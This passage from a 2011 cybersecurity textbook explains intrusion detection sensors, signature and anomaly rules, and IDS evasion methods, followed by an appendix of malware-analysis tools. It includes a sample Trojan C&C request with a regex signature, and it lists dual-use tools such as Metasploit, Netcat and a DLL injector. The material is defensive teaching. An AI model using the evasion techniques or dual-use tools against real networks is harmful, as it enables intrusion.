can receive one update and detect malicious activity across an entire 
network of computers.

Table 5-4 Current Popular AMASs

SYSTEM NAME URL

Norman Sandbox http://www.norman.com/security_center/security_tools/submit_file/en-us
Sunbelt CWSandbox http://www.sunbeltsoftware.com/Developer/Sunbelt-CWSandbox/
Anubis http://anubis.iseclab.org/index.php
ThreatExpert http://www.threatexpert.com
TRUMAN http://www.secureworks.com/research/tools/truman.html
Comodo http://camas.comodo.com
BitBlaze https://aerie.cs.berkeley.edu
JoeBox http://www.joebox.org
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An IDS is a device that monitors network traffic for malicious 
activity. IDS devices, referred to as sensors, detect malicious activ-
ity by searching through traffic that traverses a network. The IDS 
sensor requires access to network packets, which is possible through 
two different implementations called out of line and inline. Exhibit 5-9 
shows the difference in network topologies between out-of-line and 
inline sensors.

Out-of-line sensors connect to a switched port analyzer (SPAN), 
an action also known as monitoring, port mirroring, or a network tap. A 
SPAN port is a port on a network device, such as a switch or firewall, 
that receives a duplicate feed of the real-time traffic for monitoring 
purposes. A network tap operates in a similar manner; however, these 
are standalone devices that send and receive traffic between two ports 
and have a third port that receives a copy of this traffic for monitoring 
purposes. Out-of-line sensors connected to a SPAN either port or tap 
monitor traffic and produce alerts in response to malicious activity.

Inline sensors differ from out-of-line sensors in that they physically 
sit in the path of the network traffic. Network traffic travels from its 
source through the inline device to its destination. The inline sensor 
checks the traffic sent through it for malicious activity to produce 
alerts or block the malicious activity. Inline sensors configured to 
block malicious traffic, known as intrusion prevention systems (IPSs), 
have a greater impact on reducing the occurrence of malicious activity 
on a network.

Firewall

Firewall

IDS

IDS Switch

Switch

Exhibit 5-9 Out-of-line and inline topologies.



296	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

Both types of sensors use rules, also known as signatures, to detect 
malicious activity. IDS sensors rely on these signatures to detect mali-
cious activity; therefore, the overall effectiveness of an IDS sensor 
mostly depends on the caliber of the signatures. Most IDS vendors 
have different rule structures or languages, but such rules generally 
use content matching and anomalies to detect events.

Content-matching rules use specific pattern matches or regular 
expressions to search network traffic for specific strings or values asso-
ciated with malicious traffic. These rules are very specific and require 
prior knowledge of the particular malicious content within network 
activity. The use of regular expressions provides flexibility to a signa-
ture by allowing it to search for multiple variations of a string. For 
example, the following shows a content match and regular expression 
that search network activity for HTTP GET requests related to a cli-
ent infection. The content match is static and straightforward, but the 
regular expression enhances the effectiveness and accuracy by search-
ing for multiple different actions.

Example HTTP request:
GET /controller.php?action=bot&entity_list=&uid=1&firs
t=1&guid=412784631&rnd=94

Content Match
“GET /controller.php?action=“

Regular Expression
“/GET\s/controller.php?action=(bot|loader|report)/”

Sensors also detect malicious activity based on anomalous network 
traffic. These anomalies include protocol-specific anomalies and traffic 
thresholds. Network protocols abide by standards, and abnormalities 
to these standards are an indication of suspicious activity. Signature 
authors capitalize on these protocol abnormalities to detect malicious 
activity. For example, Exhibit 5-10 shows such a protocol anomaly 
witnessed within the HTTP header of a GET request generated by 
an infected client. The malicious code author added the fields SS and 
xost to the header, allowing for easy detection by an IDS signature as 
they are not part of the HTTP protocol.

Traffic thresholds detect anomalous increases in traffic compared 
to a baseline amount of traffic. This approach requires a baseline fig-
ure that accurately represents the normal amount of traffic expected to 
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observe an increase. The baseline figure needs constant adjustments to 
reflect legitimate increases and decreases in traffic patterns. Without 
these adjustments, the IDS will generate many alerts on legitimate 
traffic and waste investigative resources. Threshold-based detection 
does not often detect a specific threat but provides a heuristic approach 
to malicious activity detection. These events require investigation to 
determine the specific issue, as they are prone to trigger on nonmali-
cious traffic.

By name, IDS suggests that such systems simply detect inbound 
attempts to gain entry to a device; in reality, they have the ability to 
detect much more. An IDS device can detect any type of malicious 
activity that traverses a network based on the rules used for detection, 
with some exceptions described later in this section. The success of an 
IDS device in detecting a particular event depends on the accuracy 
and flexibility of the signatures within its rule set.

A rule set is a list of signatures that the IDS device uses to detect 
malicious activity. IDS vendors supply a rule set for their products, 
and many allow the creation of custom signatures. The signatures 
within these sets can detect inbound attacks on servers and clients, 
malicious code infections, and propagation.

An IDS device has the ability to detect inbound attacks on a server 
or client from specially crafted signatures. To detect these attacks, the 
signature author needs prior knowledge of the attack or the vulner-
ability to match its network activity. Equipped with a signature for 
the attack or vulnerability, the IDS sensor can detect the activity and 
trigger an alert for the possible compromise on the destination. The 

Exhibit 5-10 Abnormal fields within an HTTP header.
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IDS, however, is unable to determine if the end system was vulnerable 
to the detected attack. An investigation is pivotal to determine if the 
attack was successful.

Rules can also detect worm propagation via content matches or 
anomalies. The content match approach requires prior knowledge of 
the network activity the worm generates when it attempts to spread 
to other systems. A signature match provides the source of the worm 
propagation, which is an infected system that needs remediation. An 
investigation of the destination in this event will determine if the 
worm successfully spread to the system.

An anomaly-based rule can provide worm detection in a heuris-
tic manner. By using thresholds, a signature can trigger an alert on 
an increase in traffic over a worm-able service, such as MS-RPC, 
NetBIOS, or SUNRPC, to investigate a possible worm outbreak. For 
example, if an increase in traffic occurs from one system over Microsoft 
NetBIOS port 139, it could be a worm attempting to propagate to 
other systems. This alert, however, could also be the result of a legiti-
mate file transfer to a shared resource. This shows the need for investi-
gation to determine the cause for the anomalous increase in traffic.

IDS sensors can be effective at detecting Trojans installed on com-
promised machines. Trojans communicate with their command-and-
control (C&C) servers to download updated configuration files and 
binaries, to receive commands to run on the infected systems, or to 
drop stolen data. The network activity generated by this communica-
tion usually uses a common protocol, such as HTTP, to avoid rejec-
tion from a firewall. Content-matching rules specifically created for 
the C&C communication can accurately detect Trojan infections. 
The example HTTP request discussed previously in this section was 
activity from a Trojan, and using the content match or regular expres-
sion in an IDS signature would successfully detect infected machines. 
Occasionally, malicious code authors omit fields or include additional 
fields to standard protocols within their code, which generates anom-
alous traffic, as seen in Exhibit 5-10. This allows an anomaly-based 
IDS signature to detect the C&C traffic easily by searching for these 
protocol abnormities.

IDS devices detect a variety of threats to a network, but they do 
have issues that limit their effectiveness. IDS evasion is a concept that 
encompasses all techniques used to avoid detection during malicious 
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activity. Varieties of techniques are available, but the most common 
evasion methods include obfuscation, encryption, compression, and 
traffic fragmentation.

Obfuscation, encryption, and compression can evade detection from 
an IDS. IDS signatures searching for content as the result of mali-
cious activity have difficulty matching if the known patterns change. 
Although obfuscation, encryption, and data compression are different 
in functionality and purpose, all three change the representation of 
data transmitted over the network. Obfuscation of data and exploit 
code evades detection through structural changes while retaining its 
original functionality through encoding, concatenation, and obscure 
variable and function names.

Encryption of data or the network traffic itself can evade detec-
tion from an IDS. An IDS signature can detect malicious activity 
within unencrypted channels by searching for malicious content 
within cleartext data sent over the network; however, an IDS has 
difficulty detecting malicious activity within encrypted communica-
tions because it does not have the key to decrypt the cipher text into 
cleartext data.

Compression changes the representation of data by passing it through 
an algorithm to reduce the size of the data. Compressing information 
is common for communication, as it requires less network bandwidth 
to transmit such information from one device to another. Evading the 
detection occurs when the sender compresses the data using a com-
pression algorithm and sends the compressed data over the network 
to the destination. The destination uses a decompression algorithm to 
view the original data sent by the source. The IDS device sees the com-
munication between the source and the destination but inspects the 
compressed data, which does not resemble the original data.

Traffic fragmentation and reassembly can also evade IDS. Malicious 
activity split into multiple different packets and sent from the source 
to the destination requires the IDS to reassemble the fragmented 
packets before inspecting the traffic.28 For example, an attacker can 
spread the transmission of the attack’s payload across fifty packets. 
To detect the attack payload, the IDS sensor has to track and reas-
semble the fifty packets in memory and then scan the reassembled 
payload using the rule set. Many fragmentation techniques are avail-
able to further complicate IDS evasion, such as fragment overlapping, 



300	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

overwriting, and timeouts, but such techniques do not fit inside the 
scope of this book.

In addition to IDS evasion techniques, the network environment 
that the IDS sensor monitors can affect the sensor’s ability to detect 
malicious activity. Placement of the IDS sensor is key to monitoring 
the appropriate traffic. Overlooking sensor placement leads to visibil-
ity issues, as the sensor will not monitor the correct traffic.

Placement in high-traffic areas can severely affect the performance 
of the IDS sensor. Sensors in high-traffic environments require a great 
deal of hardware to perform packet inspections. Packet inspections 
become more resource intensive as the amount of traffic increases; if 
the sensor does not have enough resources, it will fail to detect the 
malicious traffic. This results in the IDS not creating an alert about 
the malicious activity.

The rule set used by the IDS sensor also affects the sensor’s detec-
tion performance. To increase performance, each IDS vendor uses 
different rule set optimization techniques. Despite the optimization 
techniques used, the sensor checks all traffic monitored for signature 
matches. Checking traffic with a smaller set of rules will result in 
faster performance but fewer rules with which to detect malicious 
content. Larger rule sets will perform slower than a smaller set but 
have more rules for detecting malicious activity. This shows the need 
for compromise between speed and threat coverage.

Threat coverage shows the need for another compromise. An over-
flow of alerts will dilute critical alerts and valuable information with 
low-priority alerts and useless data. This dilution caused by excess 
noise makes triaging alert investigation difficult. The rule set for a 
sensor needs constant attention and custom tuning to reduce the 
number of alerts about legitimate traffic.

The last consideration for sensor placement involves inline devices. 
Inline devices physically sit between two network devices and have 
the ability to block malicious activity; however, legitimate traffic can 
also match signatures for malicious activity. This situation occurs 
often and results in the sensor blocking legitimate traffic. Another 
situation in which an IDS device can block traffic occurs when the 
sensors go offline or are overwhelmed with traffic. If the device does 
not fail to open in the event of system failure, then the device will 
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block all traffic at its network interface. The inline device will also 
drop traffic if it exceeds its processing power.

Despite the issues facing IDSs, they are still beneficial to the secu-
rity of a network. Proper consideration to the network environment 
that the IDS sensor will monitor is a must. An appropriate oper-
ating environment can reduce the issues previously discussed that 
plague a sensor’s ability to detect malicious activity. Supplementing 
a proper network environment with continuous updates and tuning 
of the sensor’s rule set will provide excellent coverage for a majority 
of malicious events.

IDS devices provide an invaluable stream of information to aid 
in security investigations and to improve the overall security of a 
network. IDS sensors can improve security by detecting a network’s 
vulnerable areas and inbound attacks that can threaten the net-
work. In cases involving an inline sensor, an IDS device can greatly 
improve network security by blocking malicious activity before it 
performs malice.

Luckily, the vast majority of inbound attempts to compromise sys-
tems do not use the IDS evasion techniques discussed in this section. 
Attackers overlooking evasion techniques allow IDS sensors to remain 
a viable monitoring solution. IDS can also detect compromised hosts 
based on network activity; however, the coverage for threats requires 
auditing to make sure the IDS detects malicious traffic. An IDS can 
provide a false sense of security if a signature exists for a threat but 
does not properly generate an alert in the event of its occurrence.
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6
ideFenSe SpeCial File 

inveStigation toolS

NAME DESCRIPTION LOCATION

PDF Toolkit (PDFTK) Toolkit for PDF investigations http://www.accesspdf.com/pdftk
CHM Decompiler Investigate compiled 

Windows Help files (*.chm)
http://www.zipghost.com/chmdecompiler.

html
Jad Decompile Java class files 

(*.class)
http://www.kpdus.com/jad.html

Windows script 
decoder

Decoder for obfuscated 
active server pages (ASPs)

http://www.virtualconspiracy.
com/?page=/scrdec/intro

GetType Determine file type http://philip.helger.com/gt/index.php
TrID Determine file type http://mark0.net/soft-trid-e.html
OffViz Object linking and 

embedding (OLE) document 
parser

http://blogs.technet.com/srd/
archive/2009/07/31/announcing-offvis.
aspx

OfficeMalScanner Find malicious Office 
documents

http://www.reconstructer.org/code/
OfficeMalScanner.zip

Swftools Toolkit for Flash 
investigations

http://www.swftools.org

Spidermonkey JavaScript interpreter http://www.mozilla.org/js/spidermonkey
Pdftools Tools by Didier Stevens http://blog.didierstevens.com/programs/

pdf-tools
Flare Flash decompiler http://www.nowrap.de/flare.html
Nemo Flash decompiler http://www.docsultant.com/nemo440
Dump flash 

decompiler
Flash decompiler http://www.softpedia.com/progDownload/

Dump-Flash-decompiler-
Download-39174.html

File Insight Edit files in various formats http://www.webwasher.de/download/
fileinsight

Malzilla Malware-hunting tool http://malzilla.sourceforge.net
Dezend Decrypt PHP files protected 

by Zend
http://blog.w2.ro/dezend

SYSTEM INFORMATION TOOLS
Process Hacker Powerful ProcExp alternative http://processhacker.sourceforge.net
Sysinternals suite Sysinternals suite http://download.sysinternals.com/Files/

SysinternalsSuite.zip
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NAME DESCRIPTION LOCATION

InsideClipboard Inspect clipboard contents http://www.nirsoft.net/utils/inside_
clipboard.html

Winlister Inspect Windows http://www.nirsoft.net/utils/winlister.html
DeviceTree Investigate drivers and 

devices
http://www.osronline.com

Spy++ Inspect Windows (requires 
Microsoft Development 
[MSDN] subscription)

http://msdn.microsoft.com/en-us/library/
aa264396(VS.60).aspx

HONEYPOTS
Nepenthes Collects malware by 

emulating vulnerabilities
http://nepenthes.carnivore.it

Mwcollectd Malware collection daemon http://code.mwcollect.org/projects/show/
mwcollectd

honeyd Create virtual services and 
hosts

http://www.honeyd.org

BROWSER TOOLS
Fiddler Web-debugging proxy for 

Internet Explorer (IE)
http://www.fiddler2.com/fiddler2/

Firebug Web development plug-in for 
Firefox

http://getfirebug.com

IEDeveloperToolbar Toolbar for control of IE 
document object model 
(DOM)

http://www.microsoft.com/downloads/
details.aspx

DHTMLSpy Inspect dynamic HTML 
(DHTML) page elements

http://www.download.com/
DHTMLSpy/3000-2068_4-10504833.
html

NETWORK TOOLS
Wireshark Packer sniffer http://www.wireshark.org
Snort Packer sniffer and intrusion 

detection system (IDS)
http://www.snort.org

Tcpdump Packer sniffer http://www.tcpdump.org
Chaosreader Report generator for pcaps http://chaosreader.sourceforge.net
Scapy Packet manipulation in 

Python
http://www.secdev.org/projects/scapy/

Pylibpcap Python wrappers for libpcap http://sourceforge.net/projects/pylibpcap/
SocksiPy Python SOCKS client module http://socksipy.sourceforge.net
Pehunter Snort preprocessor for 

portable executable (PE) 
files

http://honeytrap.mwcollect.org/pehunter

oSpy Log packets by application 
program interface (API) 
hooking

http://code.google.com/p/ospy/
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NAME DESCRIPTION LOCATION

InetSim Internet simulation in Perl http://www.inetsim.org
Netcat for Windows Netcat for Windows http://www.securityfocus.com/tools/139

DISASSEMBLERS AND PLUG-INS
IDA Pro Interactive disassembler 

(commercial)
http://www.hex-rays.com/idapro/

IDA Pro Free version of IDA with 
limitations

http://www.hex-rays.com/idapro/
idadownfreeware.htm

BeaEngine Disassembler (in C/Python/
Asm)

http://beatrix2004.free.fr/BeaEngine/
index1.php

Distorm64 Stream disassembler (in C/
Python)

http://www.ragestorm.net/distorm

pydasm Stream disassembler in 
Python

http://dkbza.org/pydasm.html

HexRays Decompiler plug-in for IDA http://www.hexrays.com
Coverit Code coverage plug-in for 

IDA
http://www.hexblog.com/2006/03/

coverage_analyzer.html
pe_scripts PE tools International Data 

(IDC) scripts for IDA
http://www.hex-rays.com/idapro/freefiles/

pe_scripts.zip
x86emu x86 emulation plug-in for 

IDA
http://www.idabook.com/x86emu

IDA Python Python interpreter and API 
plug-in (installed by 
default in IDA 5.6)

http://www.d-dome.net/idapython/

TurboDiff Binary-diffing plug-in for IDA http://corelabs.coresecurity.com/index.ph
p?module=Wiki&action=view&type=tool
&name=turbodiff

PatchDiff2 Binary-diffing plug-in for IDA http://cgi.tenablesecurity.com/tenable/
patchdiff.php

BinDiff Binary-diffing plug-in for IDA 
(commercial)

http://www.zynamics.com/bindiff.html

Findcrypt Locate cryptography 
constants in IDA

http://www.hexblog.com/2006/01/
findcrypt.html

IDA Stealth Hide debugger plug-in for 
IDA

http://newgre.net/idastealth

VIRTUALIZATION, EMU, AND LOCKDOWN
VMware Virtual machines application http://www.vmware.com
VIX API API for scripting VMware 

guests
http://www.vmware.com/support/

developer/vix-api/
QEMU Emulation application http://bellard.org/qemu/index.html
Ether Unpack using hardware 

extensions
http://ether.gtisc.gatech.edu/source.html

DeepFreeze System lockdown 
(commercial)

http://www.faronics.com/html/deepfreeze.
asp
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NAME DESCRIPTION LOCATION

PIN Instrumentation http://rogue.colorado.edu/pin/
Virtual Box Virtual machines application http://www.virtualbox.org

PACKING AND UNPACKING TOOLS
Saffron Automated unpacker for 

personal identification 
numbers (PINs)

http://www.offensivecomputing.
net/?q=node/492

Collaborative RCE 
Library

Collaborative regional coding 
enhancement (RCE) library

http://www.woodmann.com/collaborative/
tools/index.php/
Category:Unpacking_Tools

ImpREC Imports reconstructor http://www.woodmann.com/collaborative/
tools/index.php/ImpREC

UIF Universal imports fixer http://www.woodmann.com/collaborative/
tools/index.php/Universal_Import_Fixer

UPX PE packer http://upx.sourceforge.net
PEiD Packer identification tool http://peid.has.it
UserDB.TXT PEiD signature database http://www.peid.info/BobSoft/Downloads/

UserDB.zip
Online library of unpacking 

tutorials
http://www.tuts4you.com

LordPE Process and dynamic link 
library (DLL) dumping tool

http://www.woodmann.com/collaborative/
tools/index.php/LordPE

Procdump Process and DLL dumping 
tool

http://www.fortunecity.com/millenium/
firemansam/962/html/procdump.html

mkepe PE fix-up tool ftp://ftp.sac.sk/pub/sac/utilprog/
mkpe130.zip

TOOLS FOR PE FILES
Explorer Suite Integrated development 

environment (IDE) for PE 
tool view and edit

http://ntcore.com/exsuite.php

Stud_PE Inspect PE file headers http://www.cgsoftlabs.ro/studpe.html
SADD Section-adding tool http://programmerstools.org/system/

files?file=sadd1.0.zip
StripReloc Strip relocations from PE 

files
http://www.jrsoftware.org/striprlc.php

PE Checksum Update PE checksum values http://www.codeproject.com/KB/cpp/
PEChecksum.aspx

petools Patch PE files and add new 
imports

http://comrade.ownz.com/projects/
petools.html

Pefile Library in Python to 
manipulate PEs

http://code.google.com/p/pefile/

Pelib Library in C to manipulate 
PEs

http://www.pelib.com/download.php
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NAME DESCRIPTION LOCATION

TOOL DEVELOPMENT
Visual Studio C++ 

Express
Microsoft C/++ compiler IDE http://www.microsoft.com/express/

Downloads/#2008-Visual-CPP
WDK Windows Driver Kit http://www.microsoft.com/whdc/DevTools/

WDK/WDKpkg.mspx
Netfilter Transport driver interface 

(TDI) packet inspection 
framework

http://netfiltersdk.com

native-nt-toolkit Header files for native API 
functions

http://code.google.com/p/native-nt-
toolkit/

Nasm Netwide assembler http://nasm.sourceforge.net
Masm32 Microsoft assembler http://www.masm32.com/masmdl.htm
kmdkit Kernel mode driver 

development kit (DDK) for 
masm

http://www.freewebs.com/four-f/KmdKit/
KmdKit.zip

Wine source code Wine source code http://www.codeweavers.com/support/
docs/wine-user/getting-wine-source

Python Python language http://www.python.org
Perl Perl for Windows http://www.activestate.com/activeperl/
MinGW GNU Compiler Collection 

(GCC) for Windows
http://www.mingw.org

PyScripter Python IDE http://www.mmm-experts.com/Products.
aspx?ProductId=4

Pywin32 Python library for accessing 
Win32 functions

http://sourceforge.net/projects/pywin32/

py2exe Convert Python to executable 
(EXE) files

http://www.py2exe.org

OpenSSL Cryptography library in C http://www.openssl.org
Yara Malware classification 

library in Python
http://code.google.com/p/yara-project/

PyCrypto Cryptography library in 
Python

http://www.dlitz.net/software/pycrypto/

PROXIES
Paros Proxy for HTTP and secure 

socket layer (SSL) traffic
http://www.parosproxy.org/download.

shtml
Burp suite Proxy with fuzzer tools http://portswigger.net/suite/

COM TOOLS
oleretools Perl scripts for COM 

reversing
http://www.joestewart.org/tools/

oleretools.zip
Frank Boldewin’s 

tools
IDA Python scripts for COM 

reversing
http://www.reconstructer.org/code.html

Comtypes COM in Python http://sourceforge.net/projects/comtypes
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DEBUGGERS AND PLUG-INS
Olly debugger User mode debugger http://www.ollydbg.de
PhantOm Hide debugger plug-in for 

Olly
http://www.woodmann.com/collaborative/

tools/index.php/PhantOm
OllyBonE Break on execute plug-in for 

Olly
http://www.woodmann.com/collaborative/

tools/index.php/OllyBonE
PE Dumper Process and DLL dump 

plug-in for Olly
http://www.woodmann.com/collaborative/

tools/index.php/PE_Dumper
OllyScript Scripting language for Olly https://sourceforge.net/project/showfiles.

php?group_id=195914
Immunity debugger Olly + Python API + Immunity http://www.immunitysec.com/products-

immdbg.shtml
OllyDbg plug-ins 

for ImmDbg
OllyDbg plug-ins for ImmDbg http://www.tuts4you.com/download.

php?list.74
Windbg Debugging tools for Windows 

(included in Windows DDK)
http://www.microsoft.com/whdc/DevTools/

Debugging/default.mspx
PowerDbg Scriptable plug-ins for 

WinDbg
http://www.codeplex.com/powerdbg

Livekd Local kernel mode debugger 
(included in Sysinternals 
Suite)

http://technet.microsoft.com/en-us/
sysinternals/bb897415.aspx

WinAppDbg Program instrumentation in 
Python

http://apps.sourceforge.net/trac/
winappdbg/

API HOOKING
Rohitab API Monitor Log API calls and parameters http://www.rohitab.com/apimonitor/index.

html
Sysanalyzer iDefense Malcode Analyst 

Pack
http://labs.idefense.com/software/

malcode.php#more_sysanalyzer
Madshi API hooking library 

(commercial)
http://forum.madshi.net

Mhook API hooking library in C http://codefromthe70s.org/mhook22.aspx
Detours Microsoft’s API-hooking 

library 
http://research.microsoft.com/sn/detours

EasyHook Library for API hooking 
(kernel support) 

http://www.codeplex.com/easyhook

CaptureBat Honeynet project API monitor https://www.honeynet.org/node/315

MEMORY ANALYSIS
win32dd Dump physical memory http://win32dd.msuiche.net
pmdump Dump individual process 

memory 
http://www.ntsecurity.nu/toolbox/

pmdump/
F-Response Remote read-only drive 

access 
http://www.f-response.com
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HBGary Fastdump Dump physical memory fast http://www.hbgary.com/products-
services/fastdump-pro/

HBGary Flypaper Block memory-free functions https://www.hbgary.com/products-
services/flypaper/

Volatility Memory forensics framework 
in Python 

https://www.volatilesystems.com/default/
volatility

Volatility plug-ins Volatility plug-ins http://www.forensicswiki.org/wiki/
List_of_Volatility_Plugins

HBGary Responder Memory forensics platform for 
Windows 

http://www.hbgary.com/responder_pro.html

Memoyze Memory forensics platform for 
Windows 

http://www.mandiant.com/software/
memoryze.htm

PTFinder Memory forensic tools in Perl http://computer.forensikblog.de/
en/2007/11/ptfinder_0_3_05.html

Sandman C library to analyze 
hibernation files 

http://sandman.msuiche.net/index.php

ONLINE SERVICES
VirusTotal Online virus scanner http://www.virustotal.com
CWSandbox Online behavior monitor http://www.cwsandbox.org
Team Cymru ASN Internet Protocol (IP) to 

Autonomous System 
Number (ASN) lookup tool 

http://asn.cymru.com

JoeBox Online behavior monitor http://www.joebox.org
MalwareDomainList Tracking exploits site http://www.malwaredomainlist.com
Anubis Online behavior monitor http://anubis.iseclab.org
Threat Expert Online behavior monitor http://www.threatexpert.com
Jsunpack Unpack JavaScript http://jsunpack.jeek.org/dec/go
Wepawet Analyze PDF and Shockwave 

Flash (SWF) files online 
http://wepawet.iseclab.org/index.php

ROOTKIT AND MALWARE SCANNERS
GMER Multifunction rootkit scanner http://www.gmer.net
IceSword Multifunction rootkit scanner http://www.antirootkit.com/software/

IceSword.htm
Rootkit Revealer Cross-view rootkit detector http://technet.microsoft.com/en-us/

sysinternals/bb897445.aspx
Rootkit Unhooker Multifunction rootkit scanner https://www.rootkit.com/newsread.

php?newsid=902
Malware Bytes Malware scanner http://www.malwarebytes.org
HijackThis Malware scanner http://www.trendsecure.com/portal/en-US/

tools/security_tools/hijackthis

BOOTABLE OS
Plain Sight Live forensics http://www.plainsight.info
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BartPE Bootable Windows XP/2003 http://www.nu2.nu/pebuilder
Helix3 Live forensics (commercial) http://www.e-fense.com/products.php
CAINE Live forensics (free) http://www.caine-live.net/index.html
Knoppix Live Linux environment http://www.knoppix.net

FORENSIC TOOLS
RegRipper Forensic registry parser http://www.regripper.net
Windows Registry 

Recovery 
Graphic user interface (GUI) 

for browsing hive files 
http://www.mitec.cz/wrr.html

Index Analyzer IE history file viewer http://www.systenance.com/indexdat.php
Scalpel File-carving utility http://www.digitalforensicssolutions.com/

Scalpel/
Jafat LNK Parser Windows shortcut and .lnk 

file parser 
http://jafat.sourceforge.net/files.html

Forensic Acquisition 
Utilities (FAU) 

Forensic acquisition utilities http://www.gmgsystemsinc.com/fau

FTK Imager (Lite) Capture disk and random 
access memory (RAM) 

http://www.accessdata.com/downloads.
html

Live View Create vmdk from dd disc 
copies 

http://liveview.sourceforge.net

Fatkit Forensic analysis toolkit http://www.4tphi.net/fatkit/
FTimes Baseline and evidence 

collection 
http://ftimes.sourceforge.net/FTimes/

index.shtml
AIDE Advanced intrusion detection 

environment 
http://www.cs.tut.fi/~rammer/aide.html

FoxAnalysis Firefox history analyzer http://forensic-software.co.uk/
foxanalysis.aspx

Pasco index.dat parsing tool http://odessa.sourceforge.net
R-Studio File recovery software 

(commercial) 
http://www.data-recovery-software.net

Mount Image Pro Mount forensic images 
(commercial) 

http://www.mountimage.com/?file=MIP-
Setup.exe

ssdeep Fuzzy hashing utility http://ssdeep.sourceforge.net/usage.html
DBAN Forensic disk-wiping CD http://www.dban.org
sqlitebrowser Sqlite3 GUI database 

browser 
http://sqlitebrowser.sourceforge.net

REPORT GENERATION
Snippy Tiny screen capture program http://www.bhelpuri.net/Snippy/

SnippyDownload.htm
Camtasia Studio Screen-recording suite http://www.techsmith.com/camtasia.asp
Snapz Pro Screen shot and recording 

for OS X (commercial) 
http://www.ambrosiasw.com/utilities/

snapzprox/
Graphviz Graph visualization software http://www.graphviz.org
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MISCELLANEOUS TOOLS
HashCalc Compute hashes in various 

algorithms 
http://www.slavasoft.com/hashcalc

RemoteDll Inject DLLs into processes http://securityxploded.com/remotedll.php
Shellcode 2 Exe Create EXE wrappers for 

shell code 
http://sandsprite.com/shellcode_2_exe.

php
Notepad++ Source code editor http://notepad-plus.sourceforge.net/uk/

site.htm
VB Decompiler VB Decompiler http://www.vb-decompiler.org
IrpTracker Observe IOCTLs sent to 

device drivers 
http://www.osronline.com/article.

cfm?id=199
OpenVPN SSL virtual private network 

(VPN) software 
http://openvpn.net/index.php/open-

source/downloads.html
Tor Anonymity online http://www.torproject.org
winexe Exec commands on Win from 

Linux 
http://eol.ovh.org/winexe/

Regshot Detect changes to the 
registry and file system 

https://sourceforge.net/projects/regshot

Win32kdiag Detect hidden mountpoints http://forums.majorgeeks.com/
showthread.php?t=198257

Metasploit Exploit and shellcode builder http://www.metasploit.com
s2b Shellcode-to-binary 

converter 
http://www.honeynor.no/tools/s2b.py

7zip Manipulate archives on 
Windows 

http://www.7-zip.org

Bintext Extract strings from binaries http://www.foundstone.com/us/resources/
proddesc/bintext.htm

Winhex Hex viewer http://www.x-ways.net/winhex.zip
Secunia PSI Up-to-date software scanner http://secunia.com/vulnerability_

scanning/personal/
Cygwin Linux environment for 

Windows 
http://www.cygwin.com

eEye BDS Binary-diffing suite http://research.eeye.com/html/tools/
RT20060801-1.html

DOCUMENTATION AND INFORMATION
Woodman RCE 

Forums 
 Reverse engineering forums http://www.woodmann.com

Offensive 
Computing 

Malware information http://www.offensivecomputing.net

OpenRCE Reverse engineering 
information

https://www.openrce.org
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